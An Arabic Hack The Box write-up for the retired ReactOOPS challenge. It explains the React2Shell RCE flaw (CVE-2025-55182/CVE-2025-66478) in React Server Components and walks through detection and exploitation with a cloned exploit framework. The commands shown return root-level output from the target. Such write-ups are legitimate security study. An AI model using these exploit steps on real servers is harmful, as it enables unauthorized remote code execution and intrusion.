
شرح Hack The Box للتحدي المتقاعد ReactOOPS - حل كامل ودليل تعليمي لـ CVE-2025-55182/CVE-2025-66478 (React2Shell RCE). يتضمن تحليلًا مفصلاً للثغرات، وتقنيات الاستغلال، ومواد تعليمية للفريق.
المؤلف: TheStingR - فريق ISP1337Hackers
التحدي: ReactOOPS (ويب)
المنصة: Hack The Box
الصعوبة: سهل جداً – تم التقاعد
تاريخ الحل: 13 ديسمبر 2025
ReactOOPS هو تحدٍ ويب يستغل CVE-2025-55182 / CVE-2025-66478، وهي ثغرة حرجة غير موثقة لتنفيذ الأوامر عن بُعد (RCE) في مكونات خادم React ومُوجّه تطبيقات Next.js.
النتائج الرئيسية:
hasOwnProperty في إزالة تسلسل بروتوكول Flightيقدم التحدي تطبيق Next.js مصقول يشغل واجهة مساعد NexusAI. يبدو أن التطبيق يتعامل مع إدخال المستخدم من خلال مكونات خادم React، لكن الأخطاء البسيطة في الطبقة التفاعلية تشير إلى ثغرات كامنة.
يستخدم التطبيق:
بروتوكول Flight هو تنسيق تسلسل خاص بـ React لنقل البيانات بين الخادم والعميل في بنى مكونات الخادم. يستخدم مراجع مثل:
$1 – مرجع إلى كائن في الموضع 1$1:path:to:value – اجتياز مسار الخاصيةالكود الضعيف في ملف ReactFlightReplyServer.js الخاص بـ React:
// Line ~450: getOutlinedModel function
function getOutlinedModel(response, id) {
let chunk = chunks.get(id);
const value = chunk.value;
// Process references like "$1:path:to:value"
if (reference.startsWith('$')) {
const refId = parseInt(reference.slice(1).split(':')[0]);
const path = reference.slice(1).split(':').slice(1);
let obj = chunks.get(refId).value;
// VULNERABLE LOOP - NO hasOwnProperty CHECK!
for (let i = 0; i < path.length; i++) {
obj = obj[path[i]]; // ← Allows prototype chain access
}
return obj;
}
}
النسخة الآمنة (ما يجب أن تكون عليه):
for (let i = 0; i < path.length; i++) {
if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
obj = obj[path[i]];
} else {
throw new Error('Invalid property access');
}
}
بدون فحص hasOwnProperty، يمكن للمهاجم اجتياز:
myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype
الخطوة 1: إرسال المرجع "$1:__proto__:then"
│
├─ الوصول إلى myChunk[__proto__]
└─ ثم الوصول إلى [then] على النموذج الأولي
الخطوة 2: إنشاء كائن مزيف يشبه Promise
│
└─ { then: maliciousFunction }
الخطوة 3: رد الفعل يستدعي await على هذا الكائن
│
├─ يستدعي طريقة .then()
└─ ينفذ دالة المهاجم
الخطوة 4: تنفيذ تعليمات عشوائية
│
└─ يتم تشغيل الكود في سياق الخادم كجذر
توجد الثغرة قبل التحقق من Next-Action:
سير معالجة الطلب:
├─ تحليل بيانات النموذج متعددة الأجزاء
├─ إزالة تسلسل بروتوكول Flight ← هنا يحدث RCE
│ └─ معالجة المراجع والكائنات
│ └─ لا يوجد فحص hasOwnProperty!
├─ استخراج ترويسة Next-Action
├─ التحقق من معرّف الإجراء ← هذا يأتي بعد ذلك
└─ تنفيذ معالج الإجراء
من خلال تفعيل RCE أثناء إزالة التسلسل، يتجاوز المهاجم جميع فحوصات الأمان على مستوى الإجراء.
# Test if service is responding
curl -v http://<IP>:PORT/
المتوقع: تطبيق Next.js يقدم HTML مع تفعيل RSC
ابحث عن المؤشرات:
next-<script type="text/x-component">.nextالمؤشر الأكثر موثوقية هو محاولة هجوم تلوث النموذج الأولي وملاحظة الاستجابة:
# Non-destructive detection payload
# Sends: ["$1:a:a"] referencing {}
# Vulnerable: {}.a.a throws → HTTP 500 + E{"digest"
# Patched: hasOwnProperty prevents access → no crash
# Navigate to challenge directory
cd /Challenges/ReactOOPS
# Clone react2shell exploit framework
git clone https://github.com/freeqaz/react2shell.git
# Verify all scripts are executable
chmod +x react2shell/*.sh
الهدف: تأكيد أن الخادم ضعيف دون التسبب في ضرر
cd react2shell
# Run the detection probe
./detect.sh http://<IP>:PORT
ما يفعله:
Next-Action: x["$1:a:a"] تشير إلى كائن فارغ {}{}.a.aالناتج المتوقع:
[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://<IP>:PORT
[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern
[*] Response body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}
[!] This server is running a vulnerable version of React RSC / Next.js
التفسير:
E{"digest" في الاستجابة: ✅ تنسيق معالجة أخطاء Reactالهدف: التحقق من تنفيذ أوامر عشوائية
# Execute the 'id' command on the remote server
./exploit-redirect.sh -q http://<IP>:PORT "id"
ما يفعله:
Next-Action: xالناتج المتوقع:
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
الرؤية الرئيسية: يُظهر الناتج uid=0(root) – خادم الويب يعمل كجذر! هذا خطأ في التكوين الأمني يضخم التأثير.
الهدف: رسم خريطة لنظام الملفات وتحديد الملفات الحساسة
# Check current working directory
./exploit-redirect.sh -q http://<IP>:PORT "pwd"
# Output: /app/.next/standalone
# List application root directory
./exploit-redirect.sh -q http://<IP>:PORT "ls -la /app"